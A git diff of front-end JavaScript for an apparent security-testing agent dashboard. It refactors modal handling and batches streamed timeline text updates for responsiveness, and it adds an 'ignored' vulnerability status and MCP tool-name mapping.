// 拉取 MCP 工具的「配置总数」用于「能力总览」(区别于 monitor/stats 的「有调用记录」)。
|
||||||
// 仅取 total 字段,page_size=1 减少传输;total 已涵盖内部 + 外部 MCP + 直接注册的工具。
|
// 仅取 total 字段,page_size=1 减少传输;total 已涵盖内部 + 外部 MCP + 直接注册的工具。
|
||||||
fetchJson('/api/config/tools?page=1&page_size=1'),
|
fetchJson('/api/config/tools?page=1&page_size=1&include_external=false'),
|
||||||
// HITL 待审批:用于「需要立即处理」告警条 + 推荐操作
|
// HITL 待审批:用于「需要立即处理」告警条 + 推荐操作
|
||||||
fetchJson('/api/hitl/pending'),
|
fetchJson('/api/hitl/pending'),
|
||||||
// 通知摘要:since=0 拿最新一批,limit 控制大小;用于「最近事件」内联展示
|
// 通知摘要:since=0 拿最新一批,limit 控制大小;用于「最近事件」内联展示
|
||||||
@@ -1459,6 +1459,7 @@ function statusKey(s) {
|
|||||||
if (s === 'fixed' || s === 'closed' || s === 'resolved') return 'fixed';
|
if (s === 'fixed' || s === 'closed' || s === 'resolved') return 'fixed';
|
||||||
if (s === 'confirmed') return 'confirmed';
|
if (s === 'confirmed') return 'confirmed';
|
||||||
if (s === 'false_positive' || s === 'false-positive' || s === 'fp') return 'fp';
|
if (s === 'false_positive' || s === 'false-positive' || s === 'fp') return 'fp';
|
||||||
|
if (s === 'ignored') return 'ignored';
|
||||||
return 'open';
|
return 'open';
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1467,6 +1468,7 @@ function statusShortLabel(s) {
|
|||||||
if (k === 'fixed') return dt('dashboard.statusFixed', null, '已修复');
|
if (k === 'fixed') return dt('dashboard.statusFixed', null, '已修复');
|
||||||
if (k === 'confirmed') return dt('dashboard.statusConfirmed', null, '已确认');
|
if (k === 'confirmed') return dt('dashboard.statusConfirmed', null, '已确认');
|
||||||
if (k === 'fp') return dt('dashboard.statusFalsePositive', null, '误报');
|
if (k === 'fp') return dt('dashboard.statusFalsePositive', null, '误报');
|
||||||
|
if (k === 'ignored') return dt('dashboard.statusIgnored', null, '已忽略');
|
||||||
return dt('dashboard.statusOpen', null, '待处理');
|
return dt('dashboard.statusOpen', null, '待处理');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -344,7 +344,9 @@ function showFofaParseModal(nlText, parsed) {
|
|||||||
const modal = document.createElement('div');
|
const modal = document.createElement('div');
|
||||||
modal.id = 'fofa-parse-modal';
|
modal.id = 'fofa-parse-modal';
|
||||||
modal.className = 'modal';
|
modal.className = 'modal';
|
||||||
modal.style.display = 'block';
|
document.body.appendChild(modal);
|
||||||
|
openAppModal(modal, { focus: false });
|
||||||
|
deferModalContent(function () {
|
||||||
modal.innerHTML = `
|
modal.innerHTML = `
|
||||||
<div class="modal-content" style="max-width: 900px;">
|
<div class="modal-content" style="max-width: 900px;">
|
||||||
<div class="modal-header">
|
<div class="modal-header">
|
||||||
@@ -384,24 +386,24 @@ function showFofaParseModal(nlText, parsed) {
|
|||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
document.body.appendChild(modal);
|
|
||||||
|
|
||||||
const queryTextarea = document.getElementById('fofa-parse-query');
|
const queryTextarea = document.getElementById('fofa-parse-query');
|
||||||
if (queryTextarea) {
|
if (queryTextarea) {
|
||||||
queryTextarea.value = (parsed?.query || '').trim();
|
queryTextarea.value = (parsed?.query || '').trim();
|
||||||
setTimeout(() => {
|
queryTextarea.focus();
|
||||||
try { queryTextarea.focus(); } catch (e) { /* ignore */ }
|
|
||||||
}, 0);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const close = () => modal.remove();
|
const close = function () {
|
||||||
modal.addEventListener('click', (e) => {
|
closeAppModal(modal);
|
||||||
|
modal.remove();
|
||||||
|
syncAppModalBodyLock();
|
||||||
|
};
|
||||||
|
modal.addEventListener('click', function (e) {
|
||||||
if (e.target === modal) close();
|
if (e.target === modal) close();
|
||||||
});
|
});
|
||||||
document.getElementById('fofa-parse-modal-close')?.addEventListener('click', close);
|
document.getElementById('fofa-parse-modal-close')?.addEventListener('click', close);
|
||||||
document.getElementById('fofa-parse-cancel')?.addEventListener('click', close);
|
document.getElementById('fofa-parse-cancel')?.addEventListener('click', close);
|
||||||
|
|
||||||
const applyToQuery = (run) => {
|
const applyToQuery = function (run) {
|
||||||
const els = getFofaFormElements();
|
const els = getFofaFormElements();
|
||||||
const q = (queryTextarea?.value || '').trim();
|
const q = (queryTextarea?.value || '').trim();
|
||||||
if (!q) {
|
if (!q) {
|
||||||
@@ -435,6 +437,7 @@ function showFofaParseModal(nlText, parsed) {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
document.addEventListener('keydown', onKey);
|
document.addEventListener('keydown', onKey);
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function setFofaMeta(text) {
|
function setFofaMeta(text) {
|
||||||
@@ -1091,8 +1094,13 @@ function showCellDetailModal(field, fullText) {
|
|||||||
`;
|
`;
|
||||||
|
|
||||||
document.body.appendChild(modal);
|
document.body.appendChild(modal);
|
||||||
|
openAppModal(modal);
|
||||||
|
|
||||||
const close = () => modal.remove();
|
const close = function () {
|
||||||
|
closeAppModal(modal);
|
||||||
|
modal.remove();
|
||||||
|
syncAppModalBodyLock();
|
||||||
|
};
|
||||||
modal.addEventListener('click', (e) => {
|
modal.addEventListener('click', (e) => {
|
||||||
if (e.target === modal) close();
|
if (e.target === modal) close();
|
||||||
});
|
});
|
||||||
|
|||||||
+24
-20
@@ -905,25 +905,32 @@ function showAddKnowledgeItemModal() {
|
|||||||
document.getElementById('knowledge-item-category').value = '';
|
document.getElementById('knowledge-item-category').value = '';
|
||||||
document.getElementById('knowledge-item-title').value = '';
|
document.getElementById('knowledge-item-title').value = '';
|
||||||
document.getElementById('knowledge-item-content').value = '';
|
document.getElementById('knowledge-item-content').value = '';
|
||||||
document.getElementById('knowledge-item-modal').style.display = 'block';
|
openAppModal('knowledge-item-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑知识项
|
// 编辑知识项
|
||||||
async function editKnowledgeItem(id) {
|
async function editKnowledgeItem(id) {
|
||||||
try {
|
try {
|
||||||
|
currentEditingItemId = id;
|
||||||
|
document.getElementById('knowledge-item-modal-title').textContent = '编辑知识';
|
||||||
|
document.getElementById('knowledge-item-category').value = '';
|
||||||
|
document.getElementById('knowledge-item-title').value = '';
|
||||||
|
document.getElementById('knowledge-item-content').value = '';
|
||||||
|
openAppModal('knowledge-item-modal', { focus: false });
|
||||||
const response = await apiFetch(`/api/knowledge/items/${id}`);
|
const response = await apiFetch(`/api/knowledge/items/${id}`);
|
||||||
if (!response.ok) {
|
if (!response.ok) {
|
||||||
throw new Error('获取知识项失败');
|
throw new Error('获取知识项失败');
|
||||||
}
|
}
|
||||||
const item = await response.json();
|
const item = await response.json();
|
||||||
|
deferModalContent(() => {
|
||||||
currentEditingItemId = id;
|
document.getElementById('knowledge-item-category').value = item.category;
|
||||||
document.getElementById('knowledge-item-modal-title').textContent = '编辑知识';
|
document.getElementById('knowledge-item-title').value = item.title;
|
||||||
document.getElementById('knowledge-item-category').value = item.category;
|
document.getElementById('knowledge-item-content').value = item.content;
|
||||||
document.getElementById('knowledge-item-title').value = item.title;
|
document.getElementById('knowledge-item-title')?.focus();
|
||||||
document.getElementById('knowledge-item-content').value = item.content;
|
});
|
||||||
document.getElementById('knowledge-item-modal').style.display = 'block';
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeAppModal('knowledge-item-modal');
|
||||||
|
currentEditingItemId = null;
|
||||||
console.error('编辑知识项失败:', error);
|
console.error('编辑知识项失败:', error);
|
||||||
showNotification('编辑知识项失败: ' + error.message, 'error');
|
showNotification('编辑知识项失败: ' + error.message, 'error');
|
||||||
}
|
}
|
||||||
@@ -1232,10 +1239,7 @@ function updateKnowledgeStatsAfterDelete() {
|
|||||||
|
|
||||||
// 关闭知识项模态框
|
// 关闭知识项模态框
|
||||||
function closeKnowledgeItemModal() {
|
function closeKnowledgeItemModal() {
|
||||||
const modal = document.getElementById('knowledge-item-modal');
|
closeAppModal('knowledge-item-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
|
|
||||||
// 重置编辑状态
|
// 重置编辑状态
|
||||||
currentEditingItemId = null;
|
currentEditingItemId = null;
|
||||||
@@ -1786,8 +1790,11 @@ function showRetrievalLogDetailsModal(log, retrievedItems) {
|
|||||||
document.body.appendChild(modal);
|
document.body.appendChild(modal);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 填充内容
|
|
||||||
const content = document.getElementById('retrieval-log-details-content');
|
const content = document.getElementById('retrieval-log-details-content');
|
||||||
|
if (content) content.innerHTML = '<p style="color:#64748b;margin:0;">…</p>';
|
||||||
|
openAppModal(modal, { focus: false });
|
||||||
|
|
||||||
|
deferModalContent(() => {
|
||||||
const timeAgo = getTimeAgo(log.createdAt);
|
const timeAgo = getTimeAgo(log.createdAt);
|
||||||
const fullTime = formatTime(log.createdAt);
|
const fullTime = formatTime(log.createdAt);
|
||||||
|
|
||||||
@@ -1880,16 +1887,12 @@ function showRetrievalLogDetailsModal(log, retrievedItems) {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
|
});
|
||||||
modal.style.display = 'block';
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭检索日志详情模态框
|
// 关闭检索日志详情模态框
|
||||||
function closeRetrievalLogDetailsModal() {
|
function closeRetrievalLogDetailsModal() {
|
||||||
const modal = document.getElementById('retrieval-log-details-modal');
|
closeAppModal('retrieval-log-details-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 点击模态框外部关闭
|
// 点击模态框外部关闭
|
||||||
@@ -2118,7 +2121,8 @@ function showToastNotification(message, type = 'info') {
|
|||||||
font-size: 0.875rem;
|
font-size: 0.875rem;
|
||||||
line-height: 1.45;
|
line-height: 1.45;
|
||||||
word-wrap: break-word;
|
word-wrap: break-word;
|
||||||
backdrop-filter: blur(8px);
|
backdrop-filter: none;
|
||||||
|
-webkit-backdrop-filter: none;
|
||||||
`;
|
`;
|
||||||
|
|
||||||
toast.innerHTML = `
|
toast.innerHTML = `
|
||||||
|
|||||||
@@ -0,0 +1,92 @@
|
|||||||
|
/**
|
||||||
|
* 统一弹窗:先显示遮罩、下一帧再填大段内容,避免与 backdrop 绘制抢主线程。
|
||||||
|
*/
|
||||||
|
(function () {
|
||||||
|
const BODY_LOCK = 'app-modal-open';
|
||||||
|
const LEGACY_BODY_LOCK = 'projects-modal-open';
|
||||||
|
const OVERLAY_SELECTOR =
|
||||||
|
'.projects-modal-overlay, .c2-modal-overlay, .modal, .info-collect-cell-modal, #login-overlay';
|
||||||
|
|
||||||
|
const FLEX_MODAL_IDS = new Set([
|
||||||
|
'role-modal',
|
||||||
|
'skill-modal',
|
||||||
|
'agent-md-modal',
|
||||||
|
'batch-manage-modal',
|
||||||
|
'create-group-modal',
|
||||||
|
'login-overlay',
|
||||||
|
]);
|
||||||
|
|
||||||
|
function resolveEl(idOrEl) {
|
||||||
|
if (!idOrEl) return null;
|
||||||
|
return typeof idOrEl === 'string' ? document.getElementById(idOrEl) : idOrEl;
|
||||||
|
}
|
||||||
|
|
||||||
|
function isElVisible(el) {
|
||||||
|
if (!el) return false;
|
||||||
|
const s = window.getComputedStyle(el);
|
||||||
|
return s.display !== 'none' && s.visibility !== 'hidden';
|
||||||
|
}
|
||||||
|
|
||||||
|
function defaultDisplay(el) {
|
||||||
|
if (el.classList.contains('projects-modal-overlay') || el.classList.contains('c2-modal-overlay')) {
|
||||||
|
return 'flex';
|
||||||
|
}
|
||||||
|
if (el.classList.contains('info-collect-cell-modal')) {
|
||||||
|
return 'flex';
|
||||||
|
}
|
||||||
|
if (FLEX_MODAL_IDS.has(el.id)) {
|
||||||
|
return 'flex';
|
||||||
|
}
|
||||||
|
return 'block';
|
||||||
|
}
|
||||||
|
|
||||||
|
function syncBodyLock() {
|
||||||
|
const anyOpen = Array.from(document.querySelectorAll(OVERLAY_SELECTOR)).some(isElVisible);
|
||||||
|
document.body.classList.toggle(BODY_LOCK, anyOpen);
|
||||||
|
const projectsOpen = Array.from(document.querySelectorAll('.projects-modal-overlay')).some(isElVisible);
|
||||||
|
document.body.classList.toggle(LEGACY_BODY_LOCK, projectsOpen);
|
||||||
|
}
|
||||||
|
|
||||||
|
function openAppModal(idOrEl, opts) {
|
||||||
|
opts = opts || {};
|
||||||
|
const el = resolveEl(idOrEl);
|
||||||
|
if (!el) return null;
|
||||||
|
el.style.display = opts.display || defaultDisplay(el);
|
||||||
|
syncBodyLock();
|
||||||
|
if (opts.focus === false) return el;
|
||||||
|
const sel =
|
||||||
|
opts.focusSelector ||
|
||||||
|
'input.form-input, textarea.form-input, select.form-input, input:not([type="hidden"]):not([disabled]), textarea:not([disabled]), select:not([disabled])';
|
||||||
|
const focusTarget = opts.focusEl || el.querySelector(sel);
|
||||||
|
if (focusTarget) {
|
||||||
|
requestAnimationFrame(function () {
|
||||||
|
focusTarget.focus();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return el;
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeAppModal(idOrEl) {
|
||||||
|
const el = resolveEl(idOrEl);
|
||||||
|
if (el) el.style.display = 'none';
|
||||||
|
syncBodyLock();
|
||||||
|
return el;
|
||||||
|
}
|
||||||
|
|
||||||
|
function isAppModalOpen(idOrEl) {
|
||||||
|
return isElVisible(resolveEl(idOrEl));
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 双 rAF:等遮罩绘制完成后再写入大段 DOM / 表单 */
|
||||||
|
function deferModalContent(fn) {
|
||||||
|
requestAnimationFrame(function () {
|
||||||
|
requestAnimationFrame(fn);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
window.openAppModal = openAppModal;
|
||||||
|
window.closeAppModal = closeAppModal;
|
||||||
|
window.isAppModalOpen = isAppModalOpen;
|
||||||
|
window.deferModalContent = deferModalContent;
|
||||||
|
window.syncAppModalBodyLock = syncBodyLock;
|
||||||
|
})();
|
||||||
+209
-62
@@ -31,6 +31,25 @@ function shouldSkipTaskEventReplayAttach(conversationId) {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
/** 监控页展示:内部 mcp::tool → 模型侧 mcp__tool */
|
||||||
|
function formatMonitorToolName(name) {
|
||||||
|
if (!name || typeof name !== 'string') return name || '';
|
||||||
|
return name.includes('::') ? name.replace('::', '__') : name;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 筛选/API:mcp__tool → 内部 mcp::tool(与库存一致) */
|
||||||
|
function canonicalMonitorToolName(name) {
|
||||||
|
if (!name || typeof name !== 'string') return name || '';
|
||||||
|
if (name.includes('::')) return name;
|
||||||
|
const idx = name.indexOf('__');
|
||||||
|
if (idx > 0) return `${name.slice(0, idx)}::${name.slice(idx + 2)}`;
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
|
||||||
|
function monitorToolNamesEqual(a, b) {
|
||||||
|
return canonicalMonitorToolName(a) === canonicalMonitorToolName(b);
|
||||||
|
}
|
||||||
|
|
||||||
if (typeof window !== 'undefined') {
|
if (typeof window !== 'undefined') {
|
||||||
window.shouldSkipTaskEventReplayAttach = shouldSkipTaskEventReplayAttach;
|
window.shouldSkipTaskEventReplayAttach = shouldSkipTaskEventReplayAttach;
|
||||||
}
|
}
|
||||||
@@ -638,18 +657,126 @@ function mergeStreamBuffer(current, delta, data) {
|
|||||||
if (typeof window !== 'undefined') {
|
if (typeof window !== 'undefined') {
|
||||||
window.streamBufferFromAccumulated = streamBufferFromAccumulated;
|
window.streamBufferFromAccumulated = streamBufferFromAccumulated;
|
||||||
window.mergeStreamBuffer = mergeStreamBuffer;
|
window.mergeStreamBuffer = mergeStreamBuffer;
|
||||||
|
window.processSseDataLinesYielding = processSseDataLinesYielding;
|
||||||
|
window.flushStreamPlainTextUpdate = flushStreamPlainTextUpdate;
|
||||||
|
window.scheduleStreamPlainTextUpdate = scheduleStreamPlainTextUpdate;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 流式纯文本 DOM:按帧合并更新,尽量增量 appendData,避免每条 SSE 全量 textContent 阻塞主线程 */
|
||||||
|
const streamPlainDomState = new WeakMap();
|
||||||
|
/** 跟踪仍有待刷新的流式节点,便于快照时间线前一次性 flush */
|
||||||
|
const streamPlainDomPendingElements = new Set();
|
||||||
|
|
||||||
|
function applyStreamPlainTextNow(contentEl, text, state) {
|
||||||
|
if (!contentEl) return;
|
||||||
|
const full = text == null ? '' : String(text);
|
||||||
|
const prevLen = state && state.renderedLen ? state.renderedLen : 0;
|
||||||
|
contentEl.classList.add('timeline-stream-plain');
|
||||||
|
|
||||||
|
if (full.length > prevLen && contentEl.childNodes.length === 1 &&
|
||||||
|
contentEl.firstChild && contentEl.firstChild.nodeType === Node.TEXT_NODE) {
|
||||||
|
const existing = contentEl.firstChild.nodeValue || '';
|
||||||
|
if (existing.length === prevLen && full.startsWith(existing)) {
|
||||||
|
const delta = full.slice(prevLen);
|
||||||
|
if (delta) {
|
||||||
|
contentEl.firstChild.appendData(delta);
|
||||||
|
if (state) {
|
||||||
|
state.renderedLen = full.length;
|
||||||
|
state.pendingText = full;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
contentEl.textContent = full;
|
||||||
|
if (state) {
|
||||||
|
state.renderedLen = full.length;
|
||||||
|
state.pendingText = full;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function flushStreamPlainTextUpdate(contentEl) {
|
||||||
|
if (!contentEl) return;
|
||||||
|
const state = streamPlainDomState.get(contentEl);
|
||||||
|
if (!state) return;
|
||||||
|
if (state.rafId) {
|
||||||
|
cancelAnimationFrame(state.rafId);
|
||||||
|
state.rafId = 0;
|
||||||
|
}
|
||||||
|
applyStreamPlainTextNow(contentEl, state.pendingText, state);
|
||||||
|
}
|
||||||
|
|
||||||
|
function scheduleStreamPlainTextUpdate(contentEl, text) {
|
||||||
|
if (!contentEl) return;
|
||||||
|
const full = text == null ? '' : String(text);
|
||||||
|
let state = streamPlainDomState.get(contentEl);
|
||||||
|
if (!state) {
|
||||||
|
state = { pendingText: full, rafId: 0, renderedLen: 0 };
|
||||||
|
streamPlainDomState.set(contentEl, state);
|
||||||
|
} else {
|
||||||
|
state.pendingText = full;
|
||||||
|
}
|
||||||
|
streamPlainDomPendingElements.add(contentEl);
|
||||||
|
if (state.rafId) return;
|
||||||
|
state.rafId = requestAnimationFrame(function () {
|
||||||
|
state.rafId = 0;
|
||||||
|
applyStreamPlainTextNow(contentEl, state.pendingText, state);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function resetStreamPlainTextState(contentEl) {
|
||||||
|
if (!contentEl) return;
|
||||||
|
const state = streamPlainDomState.get(contentEl);
|
||||||
|
if (state && state.rafId) {
|
||||||
|
cancelAnimationFrame(state.rafId);
|
||||||
|
}
|
||||||
|
streamPlainDomState.delete(contentEl);
|
||||||
|
streamPlainDomPendingElements.delete(contentEl);
|
||||||
|
}
|
||||||
|
|
||||||
|
function flushAllPendingStreamPlainUpdates() {
|
||||||
|
streamPlainDomPendingElements.forEach(function (el) {
|
||||||
|
if (el && el.isConnected) {
|
||||||
|
flushStreamPlainTextUpdate(el);
|
||||||
|
}
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 流式 delta:纯文本,避免每条全量 marked + DOMPurify */
|
/** 流式 delta:纯文本,避免每条全量 marked + DOMPurify */
|
||||||
function setTimelineItemContentStreamPlain(contentEl, text) {
|
function setTimelineItemContentStreamPlain(contentEl, text) {
|
||||||
if (!contentEl) return;
|
if (!contentEl) return;
|
||||||
contentEl.classList.add('timeline-stream-plain');
|
resetStreamPlainTextState(contentEl);
|
||||||
contentEl.textContent = text == null ? '' : String(text);
|
applyStreamPlainTextNow(contentEl, text, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 分批处理 SSE data 行并在批间让出主线程,避免单次 read() 内数百条事件连续阻塞 UI。
|
||||||
|
* @param {string[]} lines
|
||||||
|
* @param {(event: object) => void} onEvent
|
||||||
|
* @param {{ yieldEvery?: number }} [options]
|
||||||
|
*/
|
||||||
|
async function processSseDataLinesYielding(lines, onEvent, options) {
|
||||||
|
const yieldEvery = (options && options.yieldEvery) || 32;
|
||||||
|
for (let i = 0; i < lines.length; i++) {
|
||||||
|
const line = lines[i];
|
||||||
|
if (line.startsWith('data: ')) {
|
||||||
|
try {
|
||||||
|
onEvent(JSON.parse(line.slice(6)));
|
||||||
|
} catch (e) {
|
||||||
|
console.error('解析事件数据失败:', e, line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((i + 1) % yieldEvery === 0 && i + 1 < lines.length) {
|
||||||
|
await new Promise(function (resolve) { requestAnimationFrame(resolve); });
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 流结束或非流式:富文本(已消毒的 HTML 字符串) */
|
/** 流结束或非流式:富文本(已消毒的 HTML 字符串) */
|
||||||
function setTimelineItemContentStreamRich(contentEl, html) {
|
function setTimelineItemContentStreamRich(contentEl, html) {
|
||||||
if (!contentEl) return;
|
if (!contentEl) return;
|
||||||
|
resetStreamPlainTextState(contentEl);
|
||||||
contentEl.classList.remove('timeline-stream-plain');
|
contentEl.classList.remove('timeline-stream-plain');
|
||||||
contentEl.innerHTML = html;
|
contentEl.innerHTML = html;
|
||||||
}
|
}
|
||||||
@@ -817,18 +944,12 @@ function openUserInterruptModal(progressId, conversationId) {
|
|||||||
if (ta) {
|
if (ta) {
|
||||||
ta.value = '';
|
ta.value = '';
|
||||||
}
|
}
|
||||||
const m = document.getElementById('user-interrupt-modal');
|
openAppModal('user-interrupt-modal');
|
||||||
if (m) {
|
|
||||||
m.style.display = 'block';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeUserInterruptModal() {
|
function closeUserInterruptModal() {
|
||||||
userInterruptModalPending = null;
|
userInterruptModalPending = null;
|
||||||
const m = document.getElementById('user-interrupt-modal');
|
closeAppModal('user-interrupt-modal');
|
||||||
if (m) {
|
|
||||||
m.style.display = 'none';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
async function submitUserInterruptContinue() {
|
async function submitUserInterruptContinue() {
|
||||||
@@ -1054,6 +1175,9 @@ function integrateProgressToMCPSection(progressId, assistantMessageId, mcpExecut
|
|||||||
const progressElement = document.getElementById(progressId);
|
const progressElement = document.getElementById(progressId);
|
||||||
if (!progressElement) return;
|
if (!progressElement) return;
|
||||||
|
|
||||||
|
// 快照 innerHTML 前刷掉尚未执行的 rAF 流式更新,避免过程详情少最后几帧
|
||||||
|
flushAllPendingStreamPlainUpdates();
|
||||||
|
|
||||||
// Ensure any "running" tool_call badges are closed before we snapshot timeline HTML.
|
// Ensure any "running" tool_call badges are closed before we snapshot timeline HTML.
|
||||||
// Otherwise, once the progress element is removed, later 'done' events may not be able
|
// Otherwise, once the progress element is removed, later 'done' events may not be able
|
||||||
// to update the original timeline DOM and the copied HTML would stay "执行中".
|
// to update the original timeline DOM and the copied HTML would stay "执行中".
|
||||||
@@ -1668,7 +1792,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
if (item) {
|
if (item) {
|
||||||
const contentEl = item.querySelector('.timeline-item-content');
|
const contentEl = item.querySelector('.timeline-item-content');
|
||||||
if (contentEl) {
|
if (contentEl) {
|
||||||
setTimelineItemContentStreamPlain(contentEl, s.buffer);
|
scheduleStreamPlainTextUpdate(contentEl, s.buffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1688,6 +1812,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
if (item) {
|
if (item) {
|
||||||
const contentEl = item.querySelector('.timeline-item-content');
|
const contentEl = item.querySelector('.timeline-item-content');
|
||||||
if (contentEl) {
|
if (contentEl) {
|
||||||
|
flushStreamPlainTextUpdate(contentEl);
|
||||||
if (typeof formatMarkdown === 'function') {
|
if (typeof formatMarkdown === 'function') {
|
||||||
setTimelineItemContentStreamRich(contentEl, formatMarkdown(s.buffer, timelineMarkdownOpts));
|
setTimelineItemContentStreamRich(contentEl, formatMarkdown(s.buffer, timelineMarkdownOpts));
|
||||||
} else {
|
} else {
|
||||||
@@ -1784,6 +1909,21 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case 'eino_empty_response_continue': {
|
||||||
|
const d = event.data || {};
|
||||||
|
const title = typeof window.t === 'function'
|
||||||
|
? window.t('chat.einoEmptyResponseContinueTitle')
|
||||||
|
: '🔁 自动续跑(无助手正文)';
|
||||||
|
addTimelineItem(timeline, 'warning', {
|
||||||
|
title: title,
|
||||||
|
message: event.message || (typeof window.t === 'function'
|
||||||
|
? window.t('chat.einoEmptyResponseContinueMessage')
|
||||||
|
: '会话已结束但未捕获到助手正文,正在基于轨迹自动续跑…'),
|
||||||
|
data: d
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case 'eino_run_retry': {
|
case 'eino_run_retry': {
|
||||||
const d = event.data || {};
|
const d = event.data || {};
|
||||||
const title = typeof window.t === 'function'
|
const title = typeof window.t === 'function'
|
||||||
@@ -1899,7 +2039,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
const pre = item.querySelector('pre.tool-result');
|
const pre = item.querySelector('pre.tool-result');
|
||||||
if (pre) {
|
if (pre) {
|
||||||
pre.classList.remove('tool-result-pending');
|
pre.classList.remove('tool-result-pending');
|
||||||
pre.textContent = state.buffer;
|
scheduleStreamPlainTextUpdate(pre, state.buffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -2006,7 +2146,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (contentEl) {
|
if (contentEl) {
|
||||||
setTimelineItemContentStreamPlain(contentEl, s.buffer);
|
scheduleStreamPlainTextUpdate(contentEl, s.buffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -2033,6 +2173,7 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
contentEl.className = 'timeline-item-content';
|
contentEl.className = 'timeline-item-content';
|
||||||
item.appendChild(contentEl);
|
item.appendChild(contentEl);
|
||||||
}
|
}
|
||||||
|
flushStreamPlainTextUpdate(contentEl);
|
||||||
if (typeof formatMarkdown === 'function') {
|
if (typeof formatMarkdown === 'function') {
|
||||||
setTimelineItemContentStreamRich(contentEl, formatMarkdown(full, timelineMarkdownOpts));
|
setTimelineItemContentStreamRich(contentEl, formatMarkdown(full, timelineMarkdownOpts));
|
||||||
} else {
|
} else {
|
||||||
@@ -2209,15 +2350,13 @@ function handleStreamEvent(event, progressElement, progressId,
|
|||||||
if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break;
|
if (!deltaContent && streamBufferFromAccumulated(responseData) === null) break;
|
||||||
state.buffer = mergeStreamBuffer(state.buffer, deltaContent, responseData);
|
state.buffer = mergeStreamBuffer(state.buffer, deltaContent, responseData);
|
||||||
|
|
||||||
// 更新时间线条目内容
|
// 流式阶段仅追加纯文本;formatTimelineStreamBody 在终态 response 时一次性处理
|
||||||
if (state.itemId) {
|
if (state.itemId) {
|
||||||
const item = document.getElementById(state.itemId);
|
const item = document.getElementById(state.itemId);
|
||||||
if (item) {
|
if (item) {
|
||||||
const contentEl = item.querySelector('.timeline-item-content');
|
const contentEl = item.querySelector('.timeline-item-content');
|
||||||
if (contentEl) {
|
if (contentEl) {
|
||||||
const meta = state.streamMeta || responseData;
|
scheduleStreamPlainTextUpdate(contentEl, state.buffer);
|
||||||
const body = formatTimelineStreamBody(state.buffer, meta);
|
|
||||||
setTimelineItemContentStreamPlain(contentEl, body);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2757,39 +2896,22 @@ async function attachRunningTaskEventStream(conversationId) {
|
|||||||
const reader = response.body.getReader();
|
const reader = response.body.getReader();
|
||||||
const decoder = new TextDecoder();
|
const decoder = new TextDecoder();
|
||||||
let buffer = '';
|
let buffer = '';
|
||||||
|
const dispatchTaskEvent = function (eventData) {
|
||||||
|
handleStreamEvent(eventData, null, progressId, getAssistantIdFn, setAssistantIdFn, function () { return mcpIds; }, function (ids) { mcpIds = mergeMcpExecutionIDLists(mcpIds, ids || []); });
|
||||||
|
};
|
||||||
while (true) {
|
while (true) {
|
||||||
const chunk = await reader.read();
|
const chunk = await reader.read();
|
||||||
if (chunk.done) break;
|
if (chunk.done) break;
|
||||||
buffer += decoder.decode(chunk.value, { stream: true });
|
buffer += decoder.decode(chunk.value, { stream: true });
|
||||||
const lines = buffer.split('\n');
|
const lines = buffer.split('\n');
|
||||||
buffer = lines.pop() || '';
|
buffer = lines.pop() || '';
|
||||||
for (let li = 0; li < lines.length; li++) {
|
await processSseDataLinesYielding(lines, dispatchTaskEvent);
|
||||||
const line = lines[li];
|
|
||||||
if (line.indexOf('data: ') === 0) {
|
|
||||||
try {
|
|
||||||
const eventData = JSON.parse(line.slice(6));
|
|
||||||
